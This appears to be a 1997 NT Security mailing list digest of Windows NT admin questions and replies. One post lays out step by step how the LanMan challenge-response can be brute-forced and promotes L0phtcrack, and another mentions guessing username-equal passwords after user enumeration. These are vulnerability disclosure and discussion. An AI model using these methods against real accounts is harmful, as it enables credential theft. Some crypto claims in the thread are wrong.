no, accross DC's of the same domain, the complete database is replicated,
but the complete sam is only transferred when a BDC is created in the
domain, or when the number of changes, which could be seen as a circular
buffer is exceeded. Otherwise, only the CHANGES are transferred to the
DC's. The number of changes etc can be tuned, Replicationgovernor etc can
be your friends...

kr=

Hi, I need more flexibility than cacls gives to me, so i thought 
that Xcacls is my solution.

I have Resource Kit Nt 4.0, but it doesn't contain it tool.

Where can i get it???
Thanks for all



`````````````````````````````````````````
 Juan Evangelista David
 Centro de Proceso de Datos U.P.V.
 Direccion E-mail : jevang@cc.upv.es
 Telefono: 387.70.00 ( Ext.: 8743 )

``````````````````````````````````````````
Hi Allan,

It sounds to me that you've checked the box "User must logon in order to
change password" i the acount polices dialog in usermanager.

Hope this helps you!

/Jens

> -----Original Message-----
> From: Allan McDonald [SMTP:mcdonald@onramp.i2k.com]
> Sent: Wednesday, July 23, 1997 1:14 PM
> To: NT Security Mailing List
> Subject: [NTSEC] NT WS 4.0 Password Change Problems
> 
> This might be off-topic for this group but I'll give it a try ...
> 
> I just set up three new systems with NT WS 4.0. Our policy is to
> create
> an ID for the user, set the
> password to some easily remembered word and check the "User Must
> Change
> Password At Next Login" selection. The users don't have the
> Administrator password.
> 
> On all three of these systems the user is prompted to change the
> password after they first login, on two of them there is no problem,
> the
> 
> password gets changed. On the third one there is a problem. After the
> user types in the new password and clicks OK he gets a message saying
> he
> 
> does not permission to change the password.
> 
> The "Don't Allow User To Change Password" option is NOT checked. If
> the
> "User Must Change Password At Next Login" is unchecked the user can
> then
> 
> log in, (without being prompted to change the password, of course).
> The user can then do a C-A-D and change the password successfully from
> the Change Password selection.
> 
> This happens on this system no matter what ID I create. I would rather
> not reinstall NT, no CD-ROM on the system, etc. And I'm really curious
> how this happened and how to fix it. Any ideas??
> 
> Thanks,
> 
> Allan McDoanld
> mcdonald@onramp.i2k.com
> 
> 
 Hi Allan,
 
 Try disabling the option in "User Manager", "Policies", "Account"
 
 "User Must Log on in order to change password"
 
 Keith


______________________________ Reply Separator _________________________________
Subject: [NTSEC] NT WS 4.0 Password Change Problems
Author: Allan McDonald at btsdub-inet
Date: 23/07/97 07:13


This might be off-topic for this group but I'll give it a try ...
 
I just set up three new systems with NT WS 4.0. Our policy is to create 
an ID for the user, set the
password to some easily remembered word and check the "User Must Change 
Password At Next Login" selection. The users don't have the 
Administrator password.
 
On all three of these systems the user is prompted to change the 
password after they first login, on two of them there is no problem, the
 
password gets changed. On the third one there is a problem. After the 
user types in the new password and clicks OK he gets a message saying he
 
does not permission to change the password.
 
The "Don't Allow User To Change Password" option is NOT checked. If the 
"User Must Change Password At Next Login" is unchecked the user can then
 
log in, (without being prompted to change the password, of course). 
The user can then do a C-A-D and change the password successfully from 
the Change Password selection.
 
This happens on this system no matter what ID I create. I would rather 
not reinstall NT, no CD-ROM on the system, etc. And I'm really curious 
how this happened and how to fix it. Any ideas??
 
Thanks,
 
Allan McDoanld
mcdonald@onramp.i2k.com
 
 
 

You could use Active Server Pages to perform some simple checks based on
the following CGI variables:

REMOTE_ADDR 207.113.X.X
REMOTE_HOST 207.113.X.X 

You could also use VBScripting to prompt for username/password
connections based on static or dynamic user databases (Access/SQL
Server/etc.). I've implemented both with no problems. Additionally you
could get a digital ID for your server (http://www.verisign.com) to make
the authentication to the server encrypted.

regards,

Rob
--
Rob Davis 
Lucent Technolologies, Network Consulting Group
Network Consultant
(972) 419-3815
1-800-SKY-PAGE #126-9384

>-----Original Message-----
>From: nolan@cp-tel.net [SMTP:nolan@cp-tel.net]
>Sent: Wednesday, July 23, 1997 9:38 AM
>To: ntsecurity@iss.net
>Subject: [NTSEC] IIS Security/Permissions
>
>
>Is there a way with IIS 3.0 to do the following:
>
>1. Limit only certain webpages to users from a certain IP class.
>
>2. Protect only certain directories with a Username / Password
> using basic clear text authentication.
>
>Thanks in advance... From what I've seen, if you want to lock
>down a directory with Basic Authentication... everything has to
>be locked down... all or nothing type of deal... ?
>
>--Nolan
>
>~ Network Administrator
>~ CP-Tel Network Services
>
>~ Office Number (318) 352-0006
>~ Fax Number (318) 352-0104
>
Morning....

This is a fairly simple one, I am sure, where I just can't see the trees
for the forest.

I have a windows for workgroup computer that needs to authenticate to a
Windows NT 3.51 domain. Domain Administrators have no problem. Any other
user is told that there password is bad or that the account is inactive.

The users are able to login to the NT workstation sitting next to this
computer so I know that their accounts are alright.

What am I missing?


Thanks...


Gina
-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 23 Jul 1997, Paul Leach wrote:

> A person who denies the assertion that a chain is no stronger than its
> weakest link is obviously only interested in debating, and not in
> learning anything.
I don't deny it. I just stated that the weakness of a link depends upon
the situation. So if you have closed offices, then a physical attack is
of greater importance, than if you have some rooms video taped and with 
pad locked PC cases.

So my basic claim is that the relative weakness of each link depends upon
the installation site. While in some settings hardware breaches of
security are more important, in other settings sophisticated breaches of
software/network security are the more important threat.
The relative weakness of each link is depending upon many factors: social
setting, network structure (bigger segments make packet sniffing more
interesting, compared to networks where each workgroup has it's own
segment.), security policy, ...

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9dvo1GrPWwMHrE1AQEs7AgA2vpxlAfz3YVNh/1DDnRZK+XwMKwJUIza
yaHch3QwSw6ZPGkAEpGGdjPUQRM4vveNk7uz+wxeJCehPiFsCtmcD5NG7FoRoi+V
NH/CSMlHHq7j1omMMI78zezbHszee/gY39L0NLSNbeRWH7wG/jl2F0FQ+cgY/ZrD
XtRqORVE9eo3FWsRuTTQwN49lav0Pmm9vikhSKPyFboSIUM1Dy6u4h0L7Iruaucl
GqD6jzbF/Ef9wtHWKyBhYSKoUeUjjhijH9qMdo4+T2v/0BofWFY/FGV6HN2wMdNz
QuXz+xj/XNsg/nF/nYnN6IhiKdyaq+Jo8ucVNX0ADaDQk7fLyQaqaA==
=TPTN
-----END PGP SIGNATURE-----

There is no way to do what you want with IIS 3.0. You will have that
functionality with IIS 4.0. Believe me, I've been waiting for IIS 4.0
to go production so I can get the same features you are after. A quick
look at IIS 4.0 Beta 2, shows that it will be a pretty cool package.
You'll be able to set properties for each object on the website.

Greg...

> -----Original Message-----
> From: nolan@cp-tel.net [SMTP:nolan@cp-tel.net]
> Sent: Wednesday, July 23, 1997 9:38 AM
> To: ntsecurity@iss.net
> Subject: [NTSEC] IIS Security/Permissions
> 
> 
> Is there a way with IIS 3.0 to do the following:
> 
> 1. Limit only certain webpages to users from a certain IP class.
> 
> 2. Protect only certain directories with a Username / Password
> using basic clear text authentication.
> 
> Thanks in advance... From what I've seen, if you want to lock
> down a directory with Basic Authentication... everything has to
> be locked down... all or nothing type of deal... ?
> 
> --Nolan
> 
> ~ Network Administrator
> ~ CP-Tel Network Services
> 
> ~ Office Number (318) 352-0006
> ~ Fax Number (318) 352-0104
Apparently, you have heard wrong. The NT UADB replicates only in its
entirety when the change log on the server wraps. This is by default 64K
and each change to the UADB is 32 bytes in length. Therefore, it would
take 2000 changes between pulses from the PDC to the BDC (which is by
default 5 minutes) to force a complete replication. Otherwise, it just
replicates the changed user accounts (~ 1K each).

Trust relationships exist to divide account and resource administration
into manageable chunks and the idea of one user/one password. Domains can
quite happily span WAN links.

Eric


At 12:29 PM 7/23/97 -0400, you wrote:
>this seems BAD. as far as i know, nt replicates the ENTIRE domain db every
time
>a change is made, this is one of the reasons some people dislike it for
>enterprise (wan spanning) networks. domains should not span wan links,
thus you
>get the pleasure of setting up trust relationships.....
>
>
>chris
>
>
>
>______________________________ Reply Separator
_________________________________
>Subject: [NTSEC] Domain modeling
>Author: owner-ntsecurity@iss.net at INTERNET
>Date: 7/23/97 1:52 AM
>
>
>Greeting all NT gurus out there. I just want to bounce off some ideas
>with y'all out there. We have three major site across the US: One in
>Atlanta, one in Houston and one in LA. We're implementing NTAS4.0
>across the board and are currently selecting the domain model we would
>like to use. I know what I want and what is feasible, but we have an
>administrator who likes an alternative model. That of a single Master
>Domain model. Offhandedly, I would call it nonsense, but I need some
>input from the WAN expert out there. What is the advantage and
>disadvantage of setting up a Master Domain at one of the central site
>(whether it be LA, Atlanta, Houston) and making the other sites domains
>a BDC to the Master PDC across the WAN. This don't make sense to me
>technologically, administratively as well as when it comes to
>maintenance. I see chaos all over the place and very, very poor
>planning. Any input?
>
>


============================================================================
====
Eric Germann Computer and Communications Technologies
ekgermann@cctec.com Van Wert, OH 45891
 Phone: 419 968 2640
http://www.cctec.com Fax: 419 968 2641

Network Design, Connectivity & System Integration Services 
A Microsoft Solution Provider 

This is incorrect. 

Windows NT only replicates the changed userids. It does not replicate
the ENTIRE domain database everytime a change is made. That is only
done when a specific "Synchronize domain" command is issued from Server
Manager. Believe me, we would know with a master domain of 17,000 users
spanning the entire US, we would know.

We have many domains that span WAN links currently and the traffic
overhead is negligable with todays high speed connections. We are
successfully spanning 56Kb WAN links, we have only had problems trying
to go slower than that.

Greg...

> -----Original Message-----
> From: CCCRE.CCULL@capital.ge.com [SMTP:CCCRE.CCULL@capital.ge.com]
> Sent: Wednesday, July 23, 1997 11:29 AM
> To: - (052)ntsecurity(a)iss.net
> Subject: Re: [NTSEC] Domain modeling
> 
> this seems BAD. as far as i know, nt replicates the ENTIRE domain db
> every time
> a change is made, this is one of the reasons some people dislike it
> for
> enterprise (wan spanning) networks. domains should not span wan links,
> thus you
> get the pleasure of setting up trust relationships.....
> 
> 
> chris
> 
> 
> 
> ______________________________ Reply Separator
> _________________________________
> Subject: [NTSEC] Domain modeling
> Author: owner-ntsecurity@iss.net at INTERNET
> Date: 7/23/97 1:52 AM
> 
> 
> Greeting all NT gurus out there. I just want to bounce off some ideas
> with y'all out there. We have three major site across the US: One in
> Atlanta, one in Houston and one in LA. We're implementing NTAS4.0
> across the board and are currently selecting the domain model we would
> like to use. I know what I want and what is feasible, but we have an
> administrator who likes an alternative model. That of a single Master
> Domain model. Offhandedly, I would call it nonsense, but I need some
> input from the WAN expert out there. What is the advantage and
> disadvantage of setting up a Master Domain at one of the central site
> (whether it be LA, Atlanta, Houston) and making the other sites
> domains
> a BDC to the Master PDC across the WAN. This don't make sense to me
> technologically, administratively as well as when it comes to
> maintenance. I see chaos all over the place and very, very poor
> planning. Any input?
Starting with NT 3.5, the PDCs began doing partial synchronization with
the BDCs...

Jeff...

>----------
>From: CCCRE.CCULL@capital.ge.com[SMTP:CCCRE.CCULL@capital.ge.com]
>Reply To: CCCRE.CCULL@capital.ge.com
>Sent: Wednesday, July 23, 1997 12:29 PM
>To: - (052)ntsecurity(a)iss.net
>Subject: Re: [NTSEC] Domain modeling
>
>this seems BAD. as far as i know, nt replicates the ENTIRE domain db every
>time
>a change is made, this is one of the reasons some people dislike it for
>enterprise (wan spanning) networks. domains should not span wan links, thus
>you
>get the pleasure of setting up trust relationships.....
>
>
>chris
>
>
>
>______________________________ Reply Separator
>_________________________________
>Subject: [NTSEC] Domain modeling
>Author: owner-ntsecurity@iss.net at INTERNET
>Date: 7/23/97 1:52 AM
>
>
>Greeting all NT gurus out there. I just want to bounce off some ideas
>with y'all out there. We have three major site across the US: One in
>Atlanta, one in Houston and one in LA. We're implementing NTAS4.0
>across the board and are currently selecting the domain model we would
>like to use. I know what I want and what is feasible, but we have an
>administrator who likes an alternative model. That of a single Master
>Domain model. Offhandedly, I would call it nonsense, but I need some
>input from the WAN expert out there. What is the advantage and
>disadvantage of setting up a Master Domain at one of the central site
>(whether it be LA, Atlanta, Houston) and making the other sites domains
>a BDC to the Master PDC across the WAN. This don't make sense to me
>technologically, administratively as well as when it comes to
>maintenance. I see chaos all over the place and very, very poor
>planning. Any input?

Check out IIS 4.0 -- now available from MS web site. It has a much finer
granularity of access and IP controls.
-- 
STEVE SUTTON, President TRUSTED SYSTEMS Services, Inc.
 Phone: (217) 344-0996 1107 S. Orchard Street
 FAX: (217) 344-0901 Urbana, IL 61801-4851 USA
 E-mail: SSutton@TrustedSystems.com 
 WWW: http://www.TrustedSystems.com/
> I believe you can take advantage of MS's new patch for NT that
> only allows NT strength authentication; it can be made to refuse LanMan
> authentication which will block out all Win95 clients with a simple
> registry change. Someone correct me of I'm wrong . . .

 I believe you are talking about the lm-fix? Any win95 machine can no
longer access the NT shares after changing the registry key
HLME\System\CurrentControlSet\control\LSA\LMCompatibilityLevel to 2 as
described in Q147706. With this setting the NT cannot use 95's shares
and the 95 cannot use NT's (although this is not told in the
Q-article!!!). What happens if I set the value of the fore mentioned key
to one? Can the NT then access the 95 and/or vice versa?

-- 
Juha Jäykkä, juolja@utu.fi

I didn't ask to be cc'd into the rantings of the MS Borg Marketing 
Juggernaut but since I'm here...

I find this hillarious. The people at MS should know better.

I haven't been following this thread tremendously but I've seen
bit's and pieces. Recently there was an attrocious article in WindowsNT 
magazine, where they stated it would take 5000 or so years to break the 
passwords; thus put policy in place to have users change their passwords 
every 2500 years. HELLO? I think these people aren't getting it.

Let's shed some light on things shall we?

1. Thank you very little MS for dropping any reference to the l0pht,
hobbit, or myself in reference to your recent LM-Hash fix. If this
is how you "correspond" with people who point out problems to you it's
no wonder that people prefer to release things to the public instead
of your "proper" channels. 

2. MS agrees that the LM hash is a horrible implementation from a 
security standpoint. They respond with: "well we didn't write the 
protocol that was IBM".

3. When MS had the chance to do things a different way (ie Network
challenge/response obfuscation on NT boxes) they implemented it based
upon LM techniques to break up components (see #2).

4. The LM-hash fix works great if you don't have anything but NT machines
on your network. If you want to continue being "productive" with your
win95 machines it is my understanding that you "do it insecurely" or
you are S.O.L.

5. Few places are running "nothing but NT" (ie just about everyone 
has 95 or WfW boxes if MS has already gotten their foot in the door).
(see #4)

6. MS can't swallow their pride enough to say "oops", even in 
technical circles where they don't have to worry about the general public
mis-interpreting things.

7. For the LM hash you only have to break 7 characters, not 14!

8. MS keeps talking about the NT hash being so secure while refusing to
talk
about how weak the LM hash is. Guess what, you probably won't be able
to use the "added security" of the NT hash on your network. Why keep 
talking about something people can't use?

9. Even though the NT hash spec says you can have up to 128 char
passwords,
I'd really like someone to show me how they can type more than 14
characters
into UserManager before it starts Beep-Beep'ing at them.

10. We demonstrate up front with proof of concept code in L0phtcrack v1.0,
and L0phtcrack v1.5 that the following is indeed the case.

For those that don't know, L0phtcrack v1.5 will attack the challenge
response done over the network. The reason we came out with this was that
the SYSKEY "fix" that MS came out with only managed to emasculate the
ADMINISTRATOR and not address the actuall problem. Can we say "save
face"? I knew we could.

L0phtcrack v1.5 is available for FREE from http://www.L0pht.com (that's
a ZERO after the 'L', not an 'o') . It comes with source so you can build 
it on just about any platform. It is proof-of concept code and thus
could be sped up tremendously.

Now, let's rip apart why it is so trivial to go through the LM hash on the
network. And then talk about why the NT hash doesn't matter.

 -------------------------- -----------------------------
| 16byte LM hash | | 16byte NT hash (md4) |
 -------------------------- -----------------------------

We already know that you only have to go through 7 characters to retrieve
passwords (up to 14 chars in length) in the LM hash, and that since there
is
no salting being done, constants show up all over the place giving away
too much information and speeding up attacks tremendously.

 -------------------------------------------------
 | 1st 8bytes of LMhash | second 8bytes of LMhash |
 -------------------------------------------------

1st 8 bytes are derived from the first seven characters of the password
and
the second 8 bytes are derived from the 8th through 14th characters of
the password. If the password is less than 7 characters then the second
half will always be: 0xAAD3B435B51404EE.

Let's assume for this example that the users password has a LM hash of
0xC23413A8A1E7665fAAD3B435B51404EE (which I'll save everyone the
nanosecond 
it would have taken for them to plug this into L0phtcrack and have it
tell them the password is "WELCOME").

Here's what happens to this hash on the network:

 -------- --------
 | A | <______________| B |
 | | | |
 -------- --------

B sends an 8 byte challenge to A. (assume 0x0001020304050607)

Machine A takes the hash of 0xC23413A8A1E7665fAAD3B435B51404EE
and adds 5 nulls to it, thus becoming 
0xC23413A8A1E7665fAAD3B435B51404EE0000000000.

The string 0xC23413A8A1E7665fAAD3B435B51404EE0000000000 is broken into
three groups of 7:

C23413A8A1E766 5fAAD3B435B514 04EE0000000000

The 7 byte strings are str_to_key'd (if you will) into 8 byte odd parity
des keys.

Now we have :

| 8byteDeskey1 | | 8byteDeskey2 | | 8 byteDeskey3 |

8byteDeskey1 is used to encrypt the challenge 0x0001020304050607. Let's
assume the result is 0xAAAAAAAAAAAAAAAA.

8byteDeskey2 is used to encrypt the challenge 0x0001020304050607. Let's
assume the result is 0xBBBBBBBBBBBBBBBB.

8byteDeskey3 is used to encrypt the challenge 0x0001020304050607. Let's
assume the result is 0xCCCCCCCCCCCCCCCC.

The three 8byte values are concatenated (!dumb!), and the 24 byte response
of 0xAAAAAAAABBBBBBBBCCCCCCCC is returned to the server. The server does
the same thing to the hash on it's end and compares the result to the
24 byte response. If they match, it was the correct original hash.

Why this is boneheaded:
----------------------

7 char or less passwords.

 -------------------- -------------------- -------------------- 
 | C23413A8A1E766 || 5fAAD3B435B514 || 04EE0000000000 |
 -------------------- -------------------- --------------------

The first thing we check is to see if the users password is less than
8 characters in length. We do this by taking the 7 byte value of 
0x04EE0000000000, turning it into an 8 byte odd parity DES key, 
 and encrypting it against the 8 byte challenge of 0x0001020304050607.
If we get the result of 0xCCCCCCCCCCCCCCCC then we are pretty sure
it's < 8 chars in length. 

In order to be sure we can run through 0x??AAD3B435B514 (ie 256 possible
combinations) to see that 5f shows us the result is 0xBBBBBBBBBBBBBBBB,
proving that the password is less than 7 characters and also giving us
the last byte of the first half of the LM hash.

>From this point, even assuming we're just joyriding and not worried about
optimizing the way this is done (believe me, there are much more
effective ways to do this that reduce the amount of time needed even
further... this whole this is just showing that even a simplistic
attack works against this implementation), it's no different than
how a tool like L0phtcrack attacks the hashes in the registry.

8 char or greater passwords.

 -------------------- -------------------- --------------------
 | C23413A8A1E766 || AC435F2DD90417 || CCD60000000000 |
 -------------------- -------------------- --------------------

The first thing to check is whether the password is less than 8 characters
in length. Deriving the 8 byte odd parity des key from 0x04EE0000000000 
and encrypting against 0x0001020304050607 does not, in this case, give
us 0xCCCCCCCCCCCCCCCC, so we know that the password is 8 characters or
greater. 

It takes us, in a worst case scenario, 65535 checks to figure out that
the 2bytes that are used in the last third are 0xCCD6. Even approaching
this in a completely brain-dead fashion (hey, turn-about is fair play),
you can go through your 7 digit combinations of characters for the
first third the same way you would the LM hash from the registry. This
will yield not only the first third of the response, but also the 
first byte of the second third. Keep in mind that you already have the
last two bytes that made up the third third. 

You could approach the middle third in the same fashion.

(note: this whole method that MS is doing screams for a precompute
table lookup attack - which given the small enough potential values
is not impossible by any means)

Thus, the challenge response is completely brute-forcable for the LM-hash.

MS made the "oversight" of still sending the LM-hash response along with 
the NT response even when SP3 was installed. Thus it was a moot point 
as to how tough or well done the NT hash might or might not be.

Since installing the LM-fix precludes continued use of windows 95 machines
in regards to talking to NT machines, it is still a moot point as to
how tough or well done the NT hash might or might not be.

The LM hash is incredibly weak and your more secure NT hash is brought
down to the lowest common denominator.

(note: this whole method that MS is doing screams for a precompute
table lookup attack - which given the small enough potential values
is not impossible by any means)

Thus, the challenge response is completely brute-forcable for the LM-hash.

MS made the "oversight" of still sending the LM-hash response along with 
the NT response even when SP3 was installed. Thus it was a moot point 
as to how tough or well done the NT hash might or might not be.

Since installing the LM-fix precludes continued use of windows 95 machines
in regards to talking to NT machines, it is still a moot point as to
how tough or well done the NT hash might or might not be.

The LM hash is incredibly weak and your more secure NT hash is brought
down to the lowest common denominator.

It would have been nice if you could type a password greater than 14chars
into the UserManager app.

.mudge

--------------------
http://www.l0pht.com/advisories.html - for more security related articles
 published by the L0pht
--------------------


Yes, I'm talking about the lm-fix.

You wrote, "With this setting the NT cannot use 95's shares and the 95 
cannot use NT's (although this is not told in the Q-article!!!)."

Actually, the article does explain it:
"If a Windows NT client selects level 2, it cannot connect to servers that
support only LM authentication, such as Windows 95 and Windows for
Workgroups."

Considering that the default is to have a client send both the NT and LM 
authentication according to the knowledge base article, I would assume 
that altering the registry setting to a value of one would ONLY send NT 
authentication unless the server requested otherwise (in the article). 
The question is . . . can a Win95 server request LM authentication 
because it cannot cipher the NT authentication? I don't know, I've never 
tried it. If you do, please let me know.


Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Thu, 24 Jul 1997, Juha =?iso-8859-1?Q?J=E4ykk=E4?= wrote:

> > I believe you can take advantage of MS's new patch for NT that
> > only allows NT strength authentication; it can be made to refuse LanMan
> > authentication which will block out all Win95 clients with a simple
> > registry change. Someone correct me of I'm wrong . . .
> 
> I believe you are talking about the lm-fix? Any win95 machine can no
> longer access the NT shares after changing the registry key
> HLME\System\CurrentControlSet\control\LSA\LMCompatibilityLevel to 2 as
> described in Q147706. With this setting the NT cannot use 95's shares
> and the 95 cannot use NT's (although this is not told in the
> Q-article!!!). What happens if I set the value of the fore mentioned key
> to one? Can the NT then access the 95 and/or vice versa?
> 
> -- 
> Juha Jäykkä, juolja@utu.fi
> 

Does anyone know if NT can be supported as a Secure RPC client on a
server that is using secure rpc?


Todd Hudspeth
On 23 Jul 1997, Ryan Russell/SYBASE wrote:

> I think the 5700 years is how long it takes to check
> every single RSA 128 bit combo regardless of whether
> it is a password than can be used or not.

Think again. RSA 128 is piddling easy to crack. Recall the French dude
that broke the cheezy encryption Netscape was using.

For Public Key cyphers such as RSA, DH, and Elliptical Curve, you want a
huge sized key. 1024 IMHO is barely secure. For private key cyphers, you
want at least 128 bits. However various cyphers do vary in strength, so
it also depends on which cypher you chose.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================

Hi !

 I hope this is not new but I can't find properly information
on the Altavista site.

 I'm in a trouble when I like to use Altavista Tunnel trhough an
Altavista Firewall. If I turn off the firewall the tunnel (from outsider
client to insider Tunnel) works fine, when I try to use it trhough the
firewall, the client gives timeout when tries to contact; the firewall
report (into proxy tunnel log) "args too long".

 I'm tried several things (lmhost of tunnel, /etc/hosts of 
tunnel, lmhost of firewall, etc.)

 Also, I think is not a routing problem because when I turn off
Firewall service and turn on IP forwarding it works fine.

 The configuration is:

 - Tunnel Server 96 v1.1 with Windows NT 3.51
 - Firewall 96 v1.1 with Windows NT 4.0
 - Tunnel Client v97 2.0 (Build 101) with Windows 95
 

 Somebody knows where can I find more information ?

-- 

Saludos
Ruben Sajnovetzky - ruben@is.com.ar
> You wrote, "With this setting the NT cannot use 95's shares and the 95
> cannot use NT's (although this is not told in the Q-article!!!)."
> Actually, the article does explain it:
> "If a Windows NT client selects level 2, it cannot connect to servers that
> support only LM authentication, such as Windows 95 and Windows for
> Workgroups."

 All that Q147706 explains is NT accessing other machines. It tells us
NOTHING of others accessing NT - which was my original question! Does
lm-fix with "level 2" in the registry break 95 connecting to NT? Does
"level 1" this as well? Speculation is not needed nor wanted - could
someone point either a Q-article or other source which could confirm
this? And if 95 cannot connect to NT, is there a fix (or should people
wait for the Memphis-horror)?
 Off the subject&topic: is there a way to connect 95 machines to
NT4+SP3 machines when NT _REQUIRES_ SMB signing? Fix or registry key?

-- 
Juha Jäykkä, juolja@utu.fi
 Seems rather straight forward to me . . . if you are running NT
and Win95 machines on your network, do NOT set the registry to level 2. 
Such a setting will NOT allow a Win95 machine to connect to NT. I've yet
to test a level 1 setting in a similar network and I would like to know
who has and the results. 

Danny
d016627c@dc.seflin.org

"Who looks outside, dreams; who looks inside, awakes."--Carl Jung

On Thu, 24 Jul 1997, Juha =?iso-8859-1?Q?J=E4ykk=E4?= wrote:

> > You wrote, "With this setting the NT cannot use 95's shares and the 95
> > cannot use NT's (although this is not told in the Q-article!!!)."
> > Actually, the article does explain it:
> > "If a Windows NT client selects level 2, it cannot connect to servers that
> > support only LM authentication, such as Windows 95 and Windows for
> > Workgroups."
> 
> All that Q147706 explains is NT accessing other machines. It tells us
> NOTHING of others accessing NT - which was my original question! Does
> lm-fix with "level 2" in the registry break 95 connecting to NT? Does
> "level 1" this as well? Speculation is not needed nor wanted - could
> someone point either a Q-article or other source which could confirm
> this? And if 95 cannot connect to NT, is there a fix (or should people
> wait for the Memphis-horror)?
> Off the subject&topic: is there a way to connect 95 machines to
> NT4+SP3 machines when NT _REQUIRES_ SMB signing? Fix or registry key?
> 
> -- 
> Juha Jäykkä, juolja@utu.fi
> 
Zeller, Tom S wrote:
> 
> cacls.exe comes with nt. it allows use of f,c,r rights. for full
> flexibility use xcacls.exe that comes with the addendum to the server
> 4.0 resource kit.
> 
> > -----Original Message-----
> > From: Jay Urbanski [SMTP:strops@well.com]
> > Sent: Wednesday, July 16, 1997 3:17 PM
> > To: ntsecurity@iss.net
> > Subject: [NTSEC] Need utitlity to assign user right from command
> > line
> >
> > Well the topic says it all. I need to grant advanced user rights for
> > a 6000 server roll-out, and I don't look forward to doing click,
> > click, click 6000 times. Does anyone know of a utitlity to grant user
> > rights to groups and users from a command line?
> >
> > Jay Urbanski
> > strops@well.com 
> >
Adduser.exe sets up gobal and local groups fro the command line. This
could also be useful. It is in the NT resource group. I have found
using the the "for /f" command an appropriate way to process lists of
names.
Well, I'm a poor cryptographer, but I think
you might be mistaken on a few points....

The french guy broke the 40 bit version
of RSA. Only 1 trillion possibilities there,
most folks could get together the few fast machine it
would take to brute force that. The point was
to demonstrate the fact the 40 bit stuff was usless.

The guys at berkeley broke the Netscape encryption
because of a bad random number generator on
Netscape's part. A bad implementation.

If RSA 128 is implemented properly, it is certainly not
piddling easy to brute force.

I may be mistaken, but I don't think the other things 
you mentioned are public-key ciphers. Diffie-Hellman
is a secret sharing protocol, and elliptic curves are
numbers with a certain set of characterisitics, and
are intended to be useful for encryption using fewer
bits.

 Ryan

---------- Previous Message ----------
To: Ryan.Russell
cc: paulle, ntsecurity, mudge
From: sunder@brainlink.com (Ray Arachelian) @ smtp
Date: 07/24/97 10:45:12 AM
Subject: RE: [NTSEC] Win95 sec

On 23 Jul 1997, Ryan Russell/SYBASE wrote:

> I think the 5700 years is how long it takes to check
> every single RSA 128 bit combo regardless of whether
> it is a password than can be used or not.

Think again. RSA 128 is piddling easy to crack. Recall the French dude
that broke the cheezy encryption Netscape was using.

For Public Key cyphers such as RSA, DH, and Elliptical Curve, you want a
huge sized key. 1024 IMHO is barely secure. For private key cyphers, you
want at least 128 bits. However various cyphers do vary in strength, so
it also depends on which cypher you chose.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must |./|\.
..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough |/\|/\
<--*-->| ------------------ | syrup, don't you?" |\/|\/
../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die. |.....
======================== http://www.sundernet.com =========================




At 15:14 7/23/97 +0000, you wrote:
>Assuming 10-20% weak passwords you're in quite faster than your quotes.
>(And I'm not sure that 10-20 is the upper bound of weak passwords with
> usual users, probably it's more like the lower bound :((( )

Actually, it is likely that 1% of passwords will be same as user name. If
you can then gather enough users (perhaps via a null session), you can break
into at least some accounts trivially.

OTOH, lame passwords are not just a problem with NT - for example, SGIs come
equipped with 4 default accounts for your hacking pleasure 8-)

At least NT doesn't *start* with default account-passwords...

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |

Ryan is right on almost all counts. (Elliptic curve is, AFAIK, a PK
system; it is correct that it alleges to need fewer bits of key.)

However, even a little elementary arithmetic would convince you that
searching a 128 bit key space will take a long time, even with millions
of machines doing billions of crack tests a second. Where long time is
about 10**16 years, for example.

> ----------
> From: Ryan Russell/SYBASE[SMTP:Ryan.Russell@sybase.com]
> Sent: Thursday, July 24, 1997 7:06 AM
> To: Ray Arachelian
> Cc: Paul Leach; ntsecurity
> Subject: RE: [NTSEC] Win95 sec
> 
> Well, I'm a poor cryptographer, but I think
> you might be mistaken on a few points....
> 
> The french guy broke the 40 bit version
> of RSA. Only 1 trillion possibilities there,
> most folks could get together the few fast machine it
> would take to brute force that. The point was
> to demonstrate the fact the 40 bit stuff was usless.
> 
> The guys at berkeley broke the Netscape encryption
> because of a bad random number generator on
> Netscape's part. A bad implementation.
> 
> If RSA 128 is implemented properly, it is certainly not
> piddling easy to brute force.
> 
> I may be mistaken, but I don't think the other things 
> you mentioned are public-key ciphers. Diffie-Hellman
> is a secret sharing protocol, and elliptic curves are
> numbers with a certain set of characterisitics, and
> are intended to be useful for encryption using fewer
> bits.
> 
> Ryan
> 
> ---------- Previous Message ----------
> To: Ryan.Russell
> cc: paulle, ntsecurity, mudge
> From: sunder@brainlink.com (Ray Arachelian) @ smtp
> Date: 07/24/97 10:45:12 AM
> Subject: RE: [NTSEC] Win95 sec
> 
> On 23 Jul 1997, Ryan Russell/SYBASE wrote:
> 
> > I think the 5700 years is how long it takes to check
> > every single RSA 128 bit combo regardless of whether
> > it is a password than can be used or not.
> 
> Think again. RSA 128 is piddling easy to crack. Recall the French
> dude
> that broke the cheezy encryption Netscape was using.
> 
> For Public Key cyphers such as RSA, DH, and Elliptical Curve, you want
> a
> huge sized key. 1024 IMHO is barely secure. For private key cyphers,
> you
> want at least 128 bits. However various cyphers do vary in strength,
> so
> it also depends on which cypher you chose.
> 
> =====================================Kaos=Keraunos=Kybernetos=========
> =====
> .+.^.+.| Ray Arachelian | "If you wanna touch the sky, you must
> |./|\.
> ..\|/..|sunder@sundernet.com| be prepared to die. And I hate cough
> |/\|/\
> <--*-->| ------------------ | syrup, don't you?"
> |\/|\/
